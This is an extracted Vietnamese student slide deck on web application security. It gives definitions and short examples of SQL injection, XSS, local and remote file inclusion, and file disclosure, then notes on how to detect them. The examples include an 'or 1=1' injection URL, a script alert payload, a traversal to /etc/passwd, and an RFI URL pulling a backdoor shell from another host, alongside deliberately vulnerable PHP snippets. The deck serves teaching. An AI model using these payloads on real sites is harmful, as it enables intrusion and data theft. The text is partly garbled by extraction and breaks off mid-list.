Author: Nguyễn Trường Phú – Nguyễn Tuấn Anh.. Date: 1-5-2015.[r]
(1)WEB APPLICATION SECURITY
Author: Nguyễn Trường Phú – Nguyễn Tuấn Anh
(2)ABOUT AUTHOR
• Name: Nguyễn Tuấn Anh
Nguyễn Trường Phú
• Class: 23CCAN04
(3)CONTENT
1. Web application attack and defense
(4)Web Application
(5)Nền tảng Website phổ biến:
• Apache (httpd)
• Nginx
• IIS
• Apache Tomcat
• PHP
• ASPX (ASP.NET)
• JSP + Servlet (JAVA)
• HTML + CSS / HTML5 + CSS3
• Javascript / Jquery
Client – Side
Server - Side
• MySQL
• MariaDB
• MongoDB
• MemSQL
• Access
• SQLserver
• MSSQL
• ……
+ +
(6)1 Website có thể bị tấn cơng như thế nào?
• Thơng qua Authencation (Các hình thức cơng vào mật khẩu, giao thức mã hố, hình thức chứng thực,…)
• Thơng qua Session, Transport,… (Các hình thức công qua bảo mật đường truyền bao gồm MITM)
• Thơng qua Lổ hổng Web Application
• Thơng qua Lổ hổng OS (Đặc biệt nhiều Windows Linux)
• Thơng qua Server Application/Software (Lổ hổng service/software khác server: Mail, browser,adobe,java,…)
• Thơng qua Mã độc Backdoor thiết lập từ trước
• Thơng qua hình thức cơng từ chối dịch vụ (DoS, DDoS, DRDoS, Spam, … )
• Thơng qua Crawler kẻ hở configure quản lý (lổ hổng phân quyền, lộ tập tin, đường dẫn nhạy cảm,…)
• Thơng qua Tấn công vật lý
(7)Lổ hổng Web Application
1. Injection (SQLi, LDAPi, OS command injection,…)
2. Cross Site Scripting (XSS)
3. Broken Authentication and Session Management (Nguy quản lý phiên/session)
4. Insecure Direct Object References (Các lổ hổng tham chiếu)
5. Cross Site Request Forgery (CSRF)
6. Security Misconfiguration (Lổ hổng cấu hình, triển khai dịch vụ web,…)
7. Insecure Cryptographic Storage (Lổ hổng mã hoá liệu nhạy cảm)
8. Failure to Restrict URL Access (Các lổ hổng quyền hạn truy cập url nhạy cảm)
9. Insufficient Transport Layer Protection (Lổ hổng đường truyền)
10. Unvalidated Redirects and Forwards (Các lổ hổng chuyển hướng)
(8)Ví dụ về số hình thức tấn cơng Web Application phổ biến:
• SQL injection (SQLi)
• Cross Site Scripting (XSS)
• Local File Inclusion (LFI)
• Remote File Inclusion (RFI)
• Local File Discluse/Download (LFD)
(9)Định nghĩa:
1 SQL injection
SQL injection (SQLi) một kỹ thuật cho phép kẻ công lợi dụng lỗ
hổng việc kiểm tra liệu đầu vào ứng dụng web thông
báo lỗi hệ quản trị sở liệu trả để inject (tiêm vào) thi hành
(10)Ví dụ:
1 SQL injection
Truy cập chuyên mục SQL ceh.vn thấy URL có dạng: http://ceh.vn /index.php?page=SQl è Câu truy vấn CSDL có dạng: “SELECT * FROM chuyenmuc WHERE tenchuyenmuc =“ + $page
Trong có thể $page=$_GET(‘tenpage’)
Attacker cố tình truy vấn URL: http://ceh.vn /index.php?page=SQl or 1=1
è Câu truy vấn CSDL có dạng: SELECT * FROM chuyenmuc WHERE tenchuyenmuc=SQl or 1=1
Ta thấy 1=1 ln nên truy vấn trả lại tất thông tin có bảng chuyenmuc ⇒ Thơng tin bị khai thác => Lỗi
(11)Định nghĩa:
2 XSS
XSS xuất hiện một ứng dụng web cho phép người dùng nhập dữ liệu vào mà
không thông qua kiểm duyệt nội dung, những dữ liệu sẽ tương tác trực tiếp với
những người dùng khác sử dụng website Nguy cơ tạo hacker có thể
chèn mã kịch bản như HTML, Javascript… (client side) nhằm ăn cắp
SessionCookie, thay đổi giao diện (deface) hoặc chuyển hướng đến trang có mã
(12)Định nghĩa:
(13)Ví dụ: 2 XSS if(!empty($_GET['name'])) { $name=$_GET['name']; print $name;
} else { Code lây $name trực tiếp từ giá trị khung name in thẳng:
Khi attacker khơng truy vấn bình thường mà inject mã javascript
vào khung name ó Truyền
giá trị trực tiếp cho biến name:
<script>alert(“Crazykid”)</script>
Lúc javascript gán cho biến name in
(14)Định nghĩa:
3 LFI
Lỗ hổng cho phép attacker có thể truy vấn tập tin nhạy cảm
web server đọc được
Nội dung tập tin đó Ví dụ tập tin nhạy cảm: /etc/passwd, /etc/
(15)Ví dụ:
3 LFI
Truy cập chuyên mục SQL ceh.vn thấy URL có dạng: http://ceh.vn /index.php?page=SQl è Nếu code trang view có dạng:
<?php $Bien=$_GET[‘page’];
Include $Bien; ?>
Attacker cố tình truy vấn URL: http://ceh.vn /index.php?page= / / /etc/passwd
è Lúc trở thành giống ta code sau:
<?php $Bien=$_GET[‘page’];
Include / / /etc/passwd; ?>
è Attacker đọc nội dung tập tin passwd đường dẫn / /etc/ server
ngay trang view
(16)Định nghĩa:
3 RFI
Cho phép attack gọi đến file web server server khác web
server Ví dụ:
http://ceh.vn/page?=http://www.vietnamnet.vn
Nếu ceh.vn bị lỗi RFI nội dung trang vietnamnet.vn hiển hị ceh.vn
Nếu attacker đặt backdoor vietnamnet.vn dạng:
http://www.vietnamnet.vn/shell.php
Tại ceh.vn attacker truy vấn: http://ceh.vn/page?=www.vietnamnet.vn/shell.php
Thì nội dung backdoor shell.php include vào source code ceh.vn ó ta cắm
(17)Ví dụ:
3 RFI
Code: <?php
$test=$_GET['test']; include $test.'id=1'; ?>
Và register_globals = off
http://xx.xx.xx.xx/CEH/RFI/3test.php?test=http://ceh.vn/shell.txt
Input:
(18)Định nghĩa:
3 LFD
Giống LFI nhưng thay attacker có thể đọc file nhạy cảm ở đây attacker có thể
(19)Ví dụ:
3 LFD
Đoạn code sau: <?php
$test=$_GET['test']; readfile($test);
?>
Hàm readfile() cho phép đọc code file truyền vào
(20)Phát hiện, kiểm tra lổ hổng Web Application:
• Ở vị trí attacker cơng Opensource vị trị quản trị/chuyên gia an ninh kiểm thử Whitehat:
Đọc source code, Debug Source code tìm lổ hổng
• Tấn cơng CloseSource, Đa số, kiểm thử Blackbox:
q Sử dụng phương pháp thủ công
Phương pháp Fuzzer vào input
(Nhập vào chuỗi ký tự ngẫu nhiên có mục địch nhằm xác định lổ hổng)
Ví dụ: Thêm vào URL, khung Search, Login,… câu truy vấn, thay đổi method, tiêm vô số ký tự,…
q Sử dụng phương pháp tự động
Sử dụng công cụ Scan, tìm kiếm lổ hổng
Ví dụ: